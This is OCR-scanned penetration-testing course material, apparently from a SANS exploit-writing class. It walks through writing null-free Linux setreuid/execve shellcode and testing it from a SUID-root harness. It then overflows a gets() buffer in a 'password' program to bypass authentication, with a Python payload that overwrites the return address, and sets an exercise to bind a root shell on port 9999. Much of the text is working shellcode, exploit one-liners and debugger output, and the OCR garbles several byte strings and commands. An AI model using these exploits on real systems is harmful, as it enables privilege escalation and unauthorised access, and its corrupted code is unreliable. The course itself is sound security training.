required machine code. Since we need our code to be position independent, we must not link it! Also
included with NASM is the NDISASM disassembler, allowing you to view the machine code next to
each assembly instruction. If you are manually sclecting the object file format such as ELF by using
the “-f* switch, I reccommend using a tool like objdump to disassemble the object file in order to
inspect the machine code. For our exercisc we will be using the tool xxd written by Juergen Weigert.
This tool gives us an casy to cut & paste view of the machine code!
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Creating Shellcode (3)

¢ Use nasm to assemble ...

deadlist@deadlist-desktop:~$ nasm setreuid_shellcode w nulls.s
deadlist@deadlist-desktop:~$% xxd -ps setreuid shellcode w nulls
b&0000000gbHOGB00000b 9000060 » 84608000 dsﬁbﬂﬁgﬁ
0 ii"r--.:.;_-;- ALEO6aRT A
- ———————"1Nulis

e Use xxd to dump machine code

— -ps flag dumps hex only
e There are many null bytes!

— Most string functions will fail

e Shellcode is also 56 bytes! Too large!

o Lxploir Writng, and Lithical Hacking

Creating Shellcode (3)

On this slide you can sce the commands exccuted to assemble our assembly code and to view the
machine code needed for our shellcode. These commands arc:

nasm setreuid _shellcode w_nulls.s

xxd —ps setreuid _shellcode w_nulls

The first command with NASM is simply assembling our code from the last slide. We are not using
any special switches for this task. The second command uses the xxd tool with the “-ps™ (postscript)
switch. The “-ps” switch outputs the assembly code in machine code format only, without any
hexadecimal translation. This makes it very casy to view and to cut & paste. As you can sce, we have
the problem of null bytes being included in our shellcode. Many times with exploitation you will be
relying on a string operator such as strepy() or gets() to copy data into a buffer, and when these
functions hit a null byte such as 0x00, they will translate that as a string terminator. This will of course
cause our shellcode to fail. With our example above, there are many null bytes to account for. We also
run into the problem where the shellcode is too large for many buffers at 56 bytes.
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Removing Null Bytes (1)

e We must remove the null bytes
- “mov eax, 0x0a" leaves 0s
e Use "mov al, 0x0a"
e Several ways to do this:
— XOr eax, eax
— sub eax, eax
— MoV eax, ecx
—inc eax / dec eax
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Removing Null Bytes (1)

There are quite a few assembly instructions that will cause null bytes to reside within your shellcode.
The main issuc with this is that many string operations such as strepy() will stop copying data when
reaching a null byte. For example, if you try to move 10 (0x0a) into EAX, it will result in 0x0000000a,
leaving three null bytes. These null bytes again will terminatc many string operations and break your
shellcode. There are tricks to get around this type of issuc. Let’s take the example of moving 10 into
EAX. Remember that 32-bit registers arc four bytes, but for backward compatibility smaller portions
of these registers can be accessed directly. The lower half (16-bits) of EAX, for example, can be
accessed dircctly by referencing the register name AX. You can also access the higher and lower byte
in the AX register independently with AL and AH. The “L” is for low and the “H” is for high. With
this knowledge we should be able to use the instruction “mov al, 0x0a” and remove any null bytes.

There are often times where you will want to pass a 0 as an argument to a system call. The problem is
if we try to simply load a 0 into a register through the use of shellcode, string operations will fail.
There arc a few ways to get around this issue. You will most commonly see the use of the instruction
“xor cax, eax” to zero out a register, as it does not modify the eflags register. When you XOR
something with itself, the result is always a zero. Another way to zero out a register is to subtract it
from itself; for cxample, “sub cax, cax™ will zero out EAX: You can move an existing registcr whose
value is zero with the instruction “mov cax, ecx”. Another way to zero a register is by using the
increment (inc) and decrement (dec) instructions. These instructions increase or decrcasc the value of
the register by one. Using the right combination of thesc instructions, you can zero a register. The

problem with these instructions is they will increase the size of your shellcode much more than they
should.
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Removing Null Bytes (2)

I Bave ¢
XOr eax, eax .
xor ebx, ebx .
sub ecx, ecx .
mov edx, ecx .,
mov al, Oxdd .
int Ox80

ter without havisg avlis.
repare 1t for a Spstes

¥ e pase as ar

sub eax, eax .,
push edx

push Ox68732121
push 0x6e606221
mov ebx, esp
push edx

push esp

MOV ecx, esp
mov al, OxOb
int Ox80

Removing Null Bytes (2)
This slide demonstrates some of the previously discussed methods of removing null bytes. Let’s walk
through cach one of the instructions differing from the last version.

BITS 32

; Below is the syscall for restoring the UID back to 0...

; I have demonstrated a couple of ways to zero a register without having nulls...

xor eax, cax  ; We're XOR-ing to zcro out eax to prepare it for a system call number.
xor ebx, ebx  ; We're XOR-ing to zero out ebx to pass as arg to setrcuid().

sub ccx, ecx  ; We're subtracting ecx from ecx to zero it out.

mov cdx, ecx  ; Moving 0x0 from ccx into edx and avoiding null shellcode.

mov al, 0x46  ; Loading syscall #70 setreuid() into cax.

int 0x80 ; Sending interrupt and execute syscall for setreuid().

; Below is the syscall for execve() to spawn a shell...

sub eax, cax  ; Zeroing out cax again.

push edx ; Pushing null byte to terminate string. This will be after /bin/sh.
push 0x6873212f ; Pushing //sh before null byte. // makes it 4 bytes. Extra / is ignored.
push 0x6¢69622f ; Pushing /bin before //sh and the null byte.

mov ebx, esp : Moving Stack Pointer address into ebx register.

push edx ; Pushing 0x0 from XOR-cd edx reg onto stack.

push esp ; Pushing esp address above above 0x0 null.

mov ccx, esp  : Copying esp to ccx for argv.
mov al, 0x0b  ; Loading system call number 11 execve() into cax.
int 0x80 ; Sending interrupt and execute syscall for execve().
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Removing Null Bytes (3)

e Assemble new version with nasm

deadlist@deadlist-desktop:~$ nasm setreuid_shellcode_wo_nulls.s
deadlist@deadlist-desktop:~$ xxd -ps setreuid_shellcode_wo_nulls
31¢031db29c989cab046cd8029c052682f217368682162696e89e3525489

e1b00bcd80 o |
No Nulls |

¢ Null bytes are gone!
e Shellcode is only 35 bytes
e |et’s load this into a program to test

ing, Lxploir Writing, and thical Hacking

Removing Null Bytes (3)

As you can sce, once we assemble this version with NASM and use xxd to view the machine code in
basc-16, the nulls are no longer present. This code should copy into a buffer without problems. The
size of the shellcode is also much smaller now at only 35 bytes! There are a couple of ways to get the
shellcode even smaller, such as using the cdq and xchg instructions. These are small instructions that
can save you some spacc in your shellcode. The cdq instruction allows you to use EAX as if it were
arc 64-bit register by using EDX. Taking advantage of this, you can set EDX to 0x00000000 (null)
with just a one-byte instruction. The xchg instruction allows you to switch the contents of two registers
with each other.
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Testing Our Shellcode (1)

e This program will allow us to test our
shellcode

char scode{] = "\x3\xcO\ %3 \xdb\x 29 xc T 89\ xca\xho"\
A8\ xcd\xB80\x 29\ xc O\ xS\ x 68\ x2f \x 2"\
"NE7I\x68\x68\x2f \ x 62\ x69\ x6e \x89\xe 3"\
"\ S22\ xS4\x89\xel \xbO\x0b\xcd\xB80" ;

int main{int argc, char **argv){
int (*fone)();
one = {int(*)(})scode;
{int) (*one)();
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Testing OQur Shellcode (1)

This slide provides you with a way to test your shellcode to see if it works. There are several programs
out there written to do exactly this test. This code was grabbed from http://www.exploit-
db.com/papers/13224/. It is a simple program that assigns the function pointer “one” with the address of
our shellcode. Our shellcode is then called as a function and exccution occurs.

/*Below is a C program to test your shellcode. The shellcode below should spawn a root shell*/
/*s0 long as the program is owned by root with SUID... There are many programs written to */
*test your shellcode. The below method of defining scode as a function was lifted from */
*milwOrm.com at http://www.milwOrm.com/papers/51 ... from author lhall ... The shellcode*/
/*was written by myself. Stephen Sims...*/

*Size of shellcode is 35 bytes. Can be made smaller with cdq instruction...*/

char scode[] = "\x3 I'xc0'x3 1'xdb'x29'xc9'x89\x ca'xb0"\
"\x46\xcd'\x80'x29'\xc0\x 52'\x68'\x2f\x 2™\
"x73\x68'x68\x2\x62'x69'x6€'\x89\xc3"\
"x52\x54'x89\xe [ \xb0\xOb\xcd'x80";

int main(int arge, char **argv){
int (¥*one)();
one = (int(*)())scodc;

(int)(*one)();
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Testing Our Shellcode (2)

e Compile the program & set to root

deadlist@deadlist-desktop:~$ gcc scodel.c -0 scodel
deadlist@deadlist-desktop:~$ sudo -1

[sudo] password for deadlist:

root@deadlist-desktop:~# chown root:root /home/deadlist/scodel
root@deadlist-desktop:~# chmod +s /home/deadlist/scodel
root@deadlist-desktop:~# exit

deadlist@deadlist-desktop:~% ./scodel

# id

uid=0(root) gid=1000(deadlist) [egid=0(root)| groups=4(adm),20(dialout),24(cdrom
),25(floppy),29(audio) ,30(dip),44(video),46 (plugdev), 104(scanner), 108 (1lpadmin)
, 109 (admin) , 115(netdev), 117 (powerdev), 1000 (deadlist)

e Success!

Testing Qur Shellcode (2)

The first image on this slide simply walks through compiling the shellcode program, naming it scodel.
We then assign ownership to root and turn on SUID. This allows our shellcode to demonstratc the
restoring of root privileges prior to spawning a shell for us. The next image shows our programs
execution with “./scodel.” As you can sec, by issuing the “id” command, we are now running as root,
cven though we are logged in as the user “deadlist.”

The scode program can also be used to test shellcode which you did not author. Is it wise to simply
trust that shellcode written by someone else is doing what you hope? Simply place the shellcode into
the global array within the scode program and load the program into GDB. Once the program is
loaded, you can break on the function pointer call inside of main() and single-step (si in GDB) through
the scode() function to see its intentions. Look for system call numbers loaded into EAX primarily.
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Module Summary

Shellcode Basics
System Calls

— Interrupts
Writing Shellcode

Removing null bytes Extracting machine
code
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Module Summary

In this module we took a quick look at writing your own shellcode on Linux. This is a great
skill to have, as often times shellcode available on the net may not be what you arc looking for,
or may no longer work. In order to write your own shellcode, you must understand how system
calls and interrupts work, as well as get more familiar with assembly code. We also took a look
at some cxamples of removing null bytes from your shellcode and decreasing its size.
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Review Questions

1) Which of the following is the most common
way to set EAX to zero?

A) sub eax, eax
B) mov eax, ecx

C) xor eax, eax
2) To which register would you load the
desired system call number?

3) What system call can you use to restore
rights?

Review Questions
1) Which of the following is the best way to sct EAX to zero?
a) sub eax, eax
b) mov eax, ccx

¢) Xoreax, cax

2) To which register would you load the desired system call number?

3) What system call can you usc to restore rights?
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Answers

1) Option “C” — xor eax, eax
2) The EAX Register
3) setreuid()
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Review Questions - Answers
1) Which of the following is the best way to set EAX to zcro?
a) sub eax, cax
b) mov eax, ecx

c) xor eax, cax --Option 3 is correct as it does not modify the EFLAGS register.

2) To which register would you load the desired system call number?

The EAX register is used to hold the system call number, when calling via an
interrupt.

3) What system call can you usc to restore rights?
The setreuid() system call can be used to restore rights prior to running the execve()

system call to spawn a shell. Other system calls may be used to restore rights as well,
such as the sctuid() system call.
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Recommended Reading

o Assembly Language for Intel-Based Computers , 5th Edition
(Kip R. Irvine, 2007)

e IA-32 Intel Architecture Software Developer’s Manual (Intel
Corporation, November, 2007)

e Hacking, The Art of Exploitation, 2nd Edition (Jon Erickson,
2006)

» The Shellcoder’s Handbook, 2nd Edition (Chris Anley, John
Heasman, Felix “"FX” Linder, Gerardo Richarte, 2007)

e The Metasploit Project, H.D. Moore et al.
http://www.metasploit.org

Recommended Reading
* Asscmbly Language for Intel-Based Computers , 5™ Edition (Kip R. Irvine, 2007)

* 1A-32 Intel Architecture Software Developer’s Manual (Intel Corporation, November,
2007)

e Hacking, The Art of Exploitation, 2" Edition (Jon Erickson, 2006)

* The Shellcoder’s Handbook, 2" Edition (Chris Anley, John Heasman, Felix “FX”
Linder, Gerardo Richarte, 2007)

¢ The Metasploit Project, H.D. Moore et al. http://www.mctasploit.org
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Smashing the Stack

SANS SEC660.4

1 1 P 11 . Y et ey A\ Pl e 2+ i1l |4 1 e [l
Advanced Penerration Testine, Exploir Writng, and Hrhical Hacking

Smashing the Stack

In this module, we'll dive deep into the process of exploiting the stack segment on Linux. There are
scveral exercises where you are forced to compensate for various conditions that block some attack
methods. Stack smashing has been around for quite a while and is a great place to start Icarning about
the attack process.
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Objectives

e Our objective for this module is to
understand:

— Identifying a privileged program
—Smashing the Stack on Linux

— Utilizing the Stack

— Triggering a Segmentation Fault

— Privilege Escalation / Getting a Shell
— return-to-libc

Objectives

We will start by exploiting a simple stack-based buffer overflow vulnerability and walk through the
addition of controls used in an effort to stop an attacker from succceding. This includes simplc return-
to-buffer attacks, return-to-function attacks, and return-to-libe attacks.
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A Note on OS Versions

e Why do we jump around OSs, some older and
some newer?
— To learn math, would you start with calculus?
— Techniques are often the same; however, we must learn
how to defeat controls
e OS: ASLR, LFH, DEP

e Compiler: Canaries, SafeSEH
e Programs can opt-in or out of some controls
— Windows 7/8 & 2008/2012 exploitation often involves
overwriting C++ vtable pointers on the heap
e Complex attacks requiring advanced programming skills
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A Note on OS Versions

A question that is often asked is, “Why don’t we start with exploiting Windows 77" The answer is
quite simple. You cannot skip straight to calculus when first starting to learn math. You must
understand the prercquisites and build foundational skills. The techniques used to exploit the most
current operating systems are often similar, if not the same. The issue is with the myriad of OS and
compile-time controls that have been added over the years. Once you understand how a basic buffer
overflow works, it is far easier to understand how the protections are thwarting your attack. This
makes the concepts around defeating these controls easier to digest and attack. A good examplc is in
the use of return-oriented programming and cxploitation to disable data exccution prevention (DEP) on
a page of memory holding your shellcode. Ultimately, the technique of exploitation is the same as it’s
been for 20 years, but we just add in a new technique to help defeat the exploit mitigation control
(DEP).

Many of the latest operating systems have a large number of exploit mitigation controls, to the point
where stack-bascd attacks are sometimes impossible, regardless of the discovered vulnerability. Heap
overflows are a popular alternative as the attacks focus on application data which is more difficult to
protect as it is often dynamically gencrated at runtime. These attacks can be very complex, requiring a
strong understanding of C and C++, as well as advanced reverse engineering and debugging skills.
SANS SEC760 “Advanced Exploit Development for Penetration Testers” can help you further your
skills in this arca once you master the material in this course.
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Stack Exploitation on Linux

e This module is mostly exercises!
e Goals of stack overflows:

— Privilege Escalation

— Getting Shell

— Bypass Authentication

- Overwrite

— Much more ...

e Kubuntu password is “deadlist”

\dvaneed Penerration Testing, Exploit Wridng, and thical Hacking

Stack Exploitation on Linux

In this module we will take a simple C program compiled with GCC and look for exploit possibilities.
We will also discuss controls that have been implemented by GCC to try and stop stack-based attacks.
We will defeat some of these controls and discuss some of the newer controls put into the latest versions
of GCC, as well as OS-controls.

Goals of Stack Overflows

There are many options an attacker has after discovering a stack overflow condition. Some of the most
common ones include privilege escalation, obtaining a root shell, bypassing authentication, adding an
account, and many others. Privilege escalation is often combined with obtaining a root shell, and then
possibly adding an account to maintain permanent access. If we are running as a normal user, our rights
on the system are obviously limited. Due to controls implemented over the years, many attacks will
requirc multiple tricks. For example, an attacker who breaks into a system via a remote cxploit through
a browser would hope to have root access at this point; however, many browsers run with Icss privileges
nowadays, thus preventing an attacker from having full control of the system. An attacker must then
find a local exploit on the system to escalate their rights. Some programs run with an SUID of root. If a
program is running as SUID root and there is a stack vulnerability, an attacker may be able to escalate
their privileges.

An attacker may not always want to get a root shell. It may be cnough to bypass some authentication on
a program by patching the executable or by redirecting program cxccution to a different location. There
have even been known format string bugs that allow an attacker to overwrite the /etc/shadow and
fete/passwd files to create an account with a UID of 0 “root.” The point is that there are many options
for exploitation when a vulnerability is discovered.
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Finding Privileged Programs

e Run /s —/a password

deadlist@deadlist:~$ ls -la password

-rwsrwsr-x 1 root root 7320 Jul 20 19:09
deaflipt@deadtist:$s i

1 I 5 1 ;
§i§|_l_id}sgid | |owner ' group _ | Program n___:}[ne!

e The SUID permission-flag runs the program under the
context of the owner!

e This one is owned by root
e find / -perm -4000 -0 -perm -2000 -exec Is -Idb {} |,

\dvanced Penetration Testing, Exploit Wridng, and Ethical Hacking

Finding Privileged Programs

[t is very common for attackers and penctration testers to scarch for programs on UNIX-based systems
which may have a high level of privilege. Scarching for programs which have the SUID or SGID bits
set in their permission’s field can help prioritize interesting targets as they may lead to privilege
cscalation. These programs, as indicated on the slide, run under the context of the owner or group
identified next to the permissions. This means that if user John were to run the password program
displayed above, it would run under the context of root. In other words, if there is a vulnerability in a
program which is owned by root running with the SUID permission-bit set, and an attacker exploits
that vulnerability, they could potentially gain code execution under the context of root. There arc often
many programs on a UNIX-based system with the SUID permission-bit sct. Some arc installed by
default and others come with various installed programs. You can usc the following command to
scarch for SUID and SGID programs:

find /-perm -4000 -0 -perm -2000 -exec Is -ldb {} \;

Attackers have also been known to attempt to trick administrators into putting programs owned by root
with the SUID bit sct onto a system, or even mount a file system of another device containing the same
type of program.
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Exercise:
The Password Program (1)

e Let us run this exercise together!
— Use Kubuntu 12.04 — Precise Pangolin

deadlist@deadlist:~$ uname -rs
Linux 3.2.08-23-generic-pae

— Switch to your /home/deadlist directory

- Run the password program with ./password
— Attempt to guess the password

— Can you think of anything else to do?

fvanced Penetration Testing, Lxploit Writng, and chical Hacking

Exercise: The Password Program (1)

Let us run this exercise together. Start by changing to your home directory on your Kubuntu image.
Next, run the password program in that dircctory by typing ./password

You should get prompted to enter a password. Make a few guesses as to what the password might be.
You probably won't be able to guess it in any rcasonablc amount of time. Sure, you might be able to
write a brute-force password guessing tool, but that could take much longer than the amount of time
you have. The focus here is to discover other ways to break the program and get some desired results.
If you are unable to guess the password, what clse might you be able to do to break the program?
We’ve talked about how programs are laid out in memory and different vulnerabilities that exist. See if
you can think of anything before moving to the next slide. One of the most important requirements as a
scnior penetration tester is to think of many possibilitics and to think outside the box.
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The Password Program (2)

e Trigger a Segmentation Fault
— Type the letter "A” a bunch of times

deadlist@deadlist:~$ python -c 'print "A" *1600' |./password
Please enter the password: Access Denied!
Segmentation fault

e What does a segmentation fault mean?
— What have we overwritten?
— What could we do now?
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The Password Program (2)

A capital “A” is commonly used to check and see if a buffer is vulnerable to an overflow. This results in
the hexadecimal value of 0x41, which is casy to spot when viewing the registers and stack to look for an
overwrite. Try entering in a bunch of capital A’s and sce if you can trigger a segmentation fault. Did one
occur? At this point you may not know the size of the buffer so it may take a bunch of A’s. You can usc
some shortcuts to speed up the fuzzing by using a scripting language such as Python or Perl. Try
entering:

python —¢ ‘print “A”*1000” | ./password #This is the cquivalent of manually typing in 1,000 A’s!
perl —¢ ‘print “A”x 1000’ | ./password #Perl cquivalent to the above Python command.

Did you get a segmentation fault this time? If so, what does this mean? Remember that right after the
buffer allocated on the stack arc important values used to both access data on the stack and to return
control to the instruction pointer once the function is finished. If a buffer is sct up to hold 100 bytes of
data for cxample, and we write 200 A’s, those A’s are overwriting the Saved Frame Pointer, the Return
Pointer and other variables on the stack. When the Return Pointer address 0x41414141 is accessed by
EIP during the procedure epilog, a segmentation fault occurs, as the memory address 0x41414141 is
invalid and contains no instructions.

Oncce we find that this condition exists we have quite a few choices for exploitation. Try to think of some
before moving to the next slide.
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The Password Program (3)

e The next step ...
— Determine the size of the buffer

Dump of assembler code for function checkpw:

0x08048464 <+0>: push  %ebp
0x08048465 <+1>: mov %esn, %ebp
0x08048467 <+3>: push  %edi
Ox0BO4B4KE <+d>: push  %esi
0x08048469 <45>; sub $0x270,%esp

0x0804846T <+11>: mov $0 AR
0x08048474 <+16>:  mov %ei lea 0x260 bytes (608)
0x08048477 <+19>: call 0Ox8048350 <print{ jplt>
0x0804847¢c <+24>: lea -0x260 (%ebp
0x080648482 <+30>: mov %eax, (%esp)

0x08048485 <+33>: call 0OxB8048360 <gets@plt>
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The Password Program (3)

We must do a couple of things at this point if we are to continue with any attack other than a Denial of
Service on the application. First, let us determine the size of the buffer. In order to perform any attempt
to take control of the program, we have to know where on the stack the buffer ends and begins to
overwrite other ficlds. Depending on what function was used to allocate memory, there may be several
possibilitics in determining this information. You also have the option of manually incrcasing or
decreasing the number of A’s you inject into the buffer to try and determine when exactly the overflow
occurs. Start up the password program in GDB. Type the command, “gdb password” from your
/home/deadlist directory.

First, type the command, *“disas main” to disassemble the main() function. We know that the password
program asks us for a password, so maybe we can find out where the user supplied password guess is
stored. When we disassemble the main() function we sec a function called checkpw(), which sounds of
interest. Nothing clsc in main() looks to take in the user input. Now, typc in “disas checkpw™ to
disassemble the checkpw() function. At the top of the disassembled function we can sce the procedure
prolog. We see the valuc of 0x270 being subtracted from %esp. In decimal the size is 624 bytes. This is
not the size allocated to accept the user input specifically, but does include that amount.

If you look down a couple more instructions you see the instruction “lea -0x260(%cbp),%cax”, and
immediately following there is a call to the gets() function. We can deduce that this is the location of the
buffer we are interested in and the one we arc overflowing. In newer versions of GDB the negative
value is given to us. On other versions you are given a two’s complement value such as 0xfffffda0. In
this casc you convert it to a positive number by inverting the bits +1, then convert it to decimal to get
the value of 608 bytes. This is going to be the size of the buffer for user input.. Now that we have that
information, let us rccord it for later usc.
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Another Option (1)

e Using Metasploit scripts to determine the buffer size:
pattern_create.rb & pattern_offset.rb

e The pattern_create.rb script can be used to generate a
pattern of characters to use as input

e This example is from Metasploit 3

'mﬁqka'ﬁ: PR e TRy B e ey by v (e 1598’_(1:_&"1’ addisdisiasia i i sl 4

root@kali: usr share setasplolt- frasework tosls# ruby pattern_create.rb 700

haOAalhaZ2Aa3hadAaSAabAaTAaBAadAbOAblAb2Ab3AbAALSABEADTADBALIACOAC1AC 2Ac3AcdAcSAcBAcTACBAC
AdOAdLAd2Ad3AdAAdSAdBAdTAdBAdSAeDAelAe2AelAcdAeSAebAeTAcBAeOATOATLAF2AFSAFAAfSAfEATZATBAT
AgOAg1Ag2Ag3AgdAgSAgaAg7AgBAg9AhOANTIARZARIAR4ARSARGARTARBARIAIOALI1AI2A13A14A15A16A1TALBAT
AIOAT1IAI2AI3A14AISAIBAITAIBAT9AKDAK IAK 2AK 3AKAAKSAKGAKTAKBAKIATOATIALZATIALIALSATEALTALBAL
AmOAn LAm2Am3Am4AmSAmGANT AmBAMIANDAN 1ANZAN3ANdANSANGANT AnBANY9AC0Aolho2Ac3A0dAo5A06A07 AoBAD
ApOAp 1Ap2Ap3ApdApSApGAPTAPBAP9AGDAQlAq2Ag3AqdAgSAqEAGTAQBAGIArOAr1Ar2Ar3ArdArSArGArTATrBAY
AsOAs1As2A53As4As5AS6ASTASBASOALOALIAL 2At3At4AtSAt6ALTALBAtIAUOAULALAUSALULAUSAUGALT AUBAU
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Another Option (1)

It is sometimes an option to use a simple pair of Metasploit scripts to determine the buffer size of a
vulncrable program. On your Kali VM at “/usr/sharc/metasploit-framework/tools/” are two scripts,
“pattern_offsct.rb” and “pattern_create.rb.” These scripts can be used to generate a stream of unique,
contiguous bytes of ASCII text that can be used to identify the Iength of the vulnerable buffer. Simply
run the “pattern_create.rb” script with the desired size:

ruby pattern_create.rb 700

As you can sce on the slide, a 700-byte block of characters has been produced. We can use this as
input to the program. If you want to run this in class, you will need the help of your Backtrack image
as Metasploit is not included on your Kubuntu image. Note that the results seen on the slides may not
reflect exactly what you sce between your VM’s.
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Another Option (2)

e Set up the input with Python to use the characters
generated by the Ruby script

deadlist@deadlist-desktop:~4 python -¢ 'print “AaBAalAaZAa3AadhaSAatAaTAaBAa9AbeAblAb2Aab3Abe
AbSAbGAbTADBABOAC BAC 1Ac 2Ac 3AC AACSACHAC TACBACOADOAd LAD2AdIAdAAdSAdOAdTAdBAdGAe DA LAR2AR 3 AedAe
[Truncated

At9AUBAUTAUZAUSAUAAUSAUGAUTAUBAUGAYOAY IAVZAYIAVAAY SAVOAY TAVBAVIAWO Aw LAW2 Aw3 Awd AwSAWOAw 7 AwB Aw

JAXOAXLAXZA"' > /tmp/inputl

@ In GDB 9 {gdb) run </tmp/inputi

Starting program: /home/deadlist/password </tmp/inputl

® 0x41347541 Please enter the password: Access Denied!

Program received signal SIGSEGV, Segmentation fault,

e 612 bytes 0x41347541 in 27 ()

U

root@kali: usr/share metasploit-framework, tools# ruby pattern offset.rb 41347541
[*] Exact match at offset 612
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Another Option (2)

Now that we have the 700-byte block of unique characters, we can use Python to input it into the
program. We arc simply redirecting the output of the Python script into the “/tmp/input1™ file as we
did previously. Next, we fire up the password program with GDB and run the program with our
special input. As you can sce on the slide, EIP jumps to the memory address 0x41347541. We can
take this value that corresponds to a certain position within the data generated by the
“pattern_create.rb” script and feed it into the “pattern_offset.rb” script. When doing this we are given
the value 612. This matches the buffer size we determined before, including the padding and SFP
overwrite to get us to the return pointer.

The use of the Ruby pattern scripts can sometimes posc a problem, such as that with bad input
characters. Input validation or filtering, as well as issues may causc the scripts to producce bad
information; however, when you can usc them they can save you time.
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The Password Program (4)

e Continuing on ...
— The granted() function within checkpw()

0x080484d9 <+117>: repz cmpsb %es: (%edi),%ds: (%esi)|

Ox080484ec <+136>: jne 0x80484f5 <checkpw+145>
0x080484ee <+138>: call 0x8048510 <granted>

[Dump of assembler code for function granted:
0x08048510 <+0>: push  %ebp
0x08048511 <+1>: mov %esp,%ebp
0x08048513 <+3>: sub $0x18,%esp
0x08048516 <+6>: movl  $0x804868e, (%esp)
0x0804851d <+13>: call 0x8048370 <puts@plt>
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The Password Program (4)

For our first attack Ict us take a look at the granted() function. If you happened to look lower in the
checkpw() function, there seems to be a comparison taking place. The assembly instruction “repz
cmpsb %es:(%oedi),%ds:(%esi)” is likely comparing the user supplied password guess with the real
password. If you’re thinking at this point you may be able to pull the real password out using a
debugger, you're probably right, although that is not our goal. Just try setting a breakpoint on the
memory address of the comparison instruction and analyze the pointer held in EDI and ESI. The
“strings” tool is another option if the password is not encrypted. Back to our goal, shortly after the
comparison instruction is the instruction, “jne 0x80484{5” and immediately following that instruction
is, “call 0x8048510 <granted>.” As you may have guessed, this secems to be an instruction saying if
the values compared are not equal, jump to instruction at the address 0x80484f5 and exit, but if they
are equal call the granted() function. So if the password matches, we call granted() and all is well.
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The Password Program (5)

e Continuing on ...
— Redirecting execution to granted()

deadlist@deadlist:~$ python -c 'print "A" * 600' |./password
Please enter the password: Access Denied!
deadlist@deadlist:~$ python -c 'print "A" * 608' |./password
Please enter the password: Access Denied!

Segmentation fault

deadlist@deadlist:~$ python -c 'print "A" *612 + "\x10\x85\x04\x08"'
| . /password

Please enter th?naamm_i Access Denied!
Access Granted
N
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The Password Program (5)

We have now determined that getting the program to execute the granted() function seems like a
good choice. If you look again at the disassembly of the checkpw() function, you can sce that
granted() starts at the address 0x8048510. This is the address we need to use to overwrite the return
pointer in the checkpw() function. Earlicr, we learned that the size of the buffer allocated for the user
password is 608 bytes. Let us go back to using Python at command line to overflow the bufter.

At command linc enter:

python —c ‘print “A”*600’

Please enter the password: Access Denied! #600 is the size of our buffer so we don’t expect this
onc to seg fault.

./password

python —¢ ‘print “A”*608” |./password
Please enter the password: Access Denied!

Segmentation fault #There we go! We caused a segmentation fault this time! We likely
null terminated into the last byte of the Saved Frame Pointer, causing the crash.

The return pointer should be just after 612 bytes. Let us try appending the address of the granted()
function on the end of the 612 bytes. Type in:

python —¢ ‘print “A”*612 + *“\x10\x85\x04'x08™"’

Please enter the password: Access Denied!

/password

Access Granted
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Blam! We just forced the program to execute the granted() function without supplying credentials!
The “\x10'x85'x04'x08” is the address of the granted() function in little endian format. Remember:
we must reverse the order of the bytes so the address is properly read. The “\x™ is simply telling the
processor to treat the values following it as hexadecimal. In this cxercise you successfully ran a
stack-based buffer overflow and overwrote the return pointer with the address of another function.
This may get us access into the application, but what if we want to try and escalatc our privileges by
getting a root shell?
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Exercise: Got Root? (1)

e Let us use the “password” program to open up a
backdoor!

e The instructor will run through the objective of the
exercise, quickly execute the attack to demonstrate
the technique, and then you're on your own to run
the same

e It's okay to peek at the answers if you must, but
only after you've tried to create the solution
— Use the hints when needed!
— Try different landing spots
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Exercise: Got Root? (1)

On this exercisc your goal is to gain root access by redirecting EIP to your shellcode. Shellcode is a
program written in assembly language and compiled with an assembler such as NASM. The goal is to
inject the shellcode into the running process during exploitation, which serves as the payload so that it
may be cxccuted by the processor. The name shellcode comes from the fact that traditionally shellcode
was most commonly used to open up an administrative shell on a system. The shellcode we are using
for this exercisc will open up TCP port 9999 on the local systcm and provide an administrative shell to
anyone who connccts to that port with a tool such as netcat. It was taken from the Mectasploit project.

Remember that performing sccurity research is a skill requiring you to think outside the box. Skipping
ahcad to sce the solutions does not serve you as well as solving the problems yourself. Getting
frustrated is a common side cffect of vulnerability rescarch and developing a Proof of Concept. Feel
free to work with a partner in determining solutions.
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Exercise: Got Root? (2)

e Tools to work with:
— You will be attacking the “password” program

— Stay running as the user “deadlist.” You should never
have to SU to “root”
e Program is running with SUID Root
— You already have the size of the buffer!
— Shellcode is located at /home/deadlist/shellcode.txt

¢ Shellcode is assembly instructions converted to hexadecimal. Often
times with the goal of opening a backdoor.

— Use any tool at your disposal to help you locate objects
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Exercise: Got Root? (2)

Your goal is to exploit the “password™ program to open up a port and bind a shell to it. You should
never have to SU up to root for any of these exercises. The programs arc alrcady configured to run as
SUID root. In the last exercise you overwrotce the return pointer in the checkpw() function to redirect
EIP to exccute the granted() function. This allowed you to bypass authentication. You already know
where the return pointer is located and the size of the buffer. There is plenty of space in the buffer to fit
your shellcode and to redirect exccution to execute your shellcode. You will know you have succeeded
when TCP port 9999 is listening on the local system. This can be checked by running the command,
“netstat —na |grep tep” and checking to sce if 9999 is listening.

You may usc any of the tools we have covered or any other tools you have at your disposal.
Remember that tools such as GDB, objdump, Itrace, nm, readelf, and others are your friends! Your
biggest friends are paticnce and attention to detail. The shellcode to open up TCP port 9999 is located
at /home/deadlist/shellcode.txt. On cach of the following slides arc hints showing where you may want
to start looking. This is good if you feel you are getting stuck. Again, try to come up with your own
solutions before viewing the hints.
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Exercise: Got Root? (3)

e Hint #1

— Locate the stack pointer (ESP)
e Run the “password” program with GDB

e Set a breakpoint for an instruction right after you are
prompted to enter in a password

e Remember to use A’s and look for the hex value 41 in
the buffer

¢ The GDB "x" (examine) command!
- Try "x/20x $esp” in GDB at breakpoints and crashes
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Exercise: Got Root? (3)
Hint #1: Locate the stack pointer (ESP)

Run the “password” program with GDB. GDB is the best tool to usc at this stage to locate the address
where ESP is pointing. Set a breakpoint for an instruction right after you are prompted to enter in a
password. Remember from the last exercise that the gets() function is reading in the data provided in
responsc to being prompted to enter a password. Setting a breakpoint right around there should do the
trick! Remember, in GDB thc command to sct a breakpoint is “break <function name> or <address>."
For example, if you wanted to set a breakpoint for the checkpw() function you would type, “breakpoint
checkpw.” If you want to set a breakpoint for an address you would type for example, “breakpoint
*0x08048432." Don’t forget the asterisk which tells GDB to treat the value that follows as an address
and not as a name.

Remember to use A’s and look for the hex value 41 in the buffer. When prompted for the password
remember that A’s arc a good choice as it makes it casy to locate the values in memory. A series of
A’s would produce 4141414141... in memory and can help tell you where the beginning of a buffer is
located. The “x” command in GDB is of great service to you. The “x” stands for “examine” and allows
you to print out memory locations and contents, as well as the contents of registers. For cxample, you
can use the command “x Sesp” to print out the current address held in the ESP register and its contents.
The command “x/20x $esp” will print out the contents of the next 20 DWORD’s of memory addresses
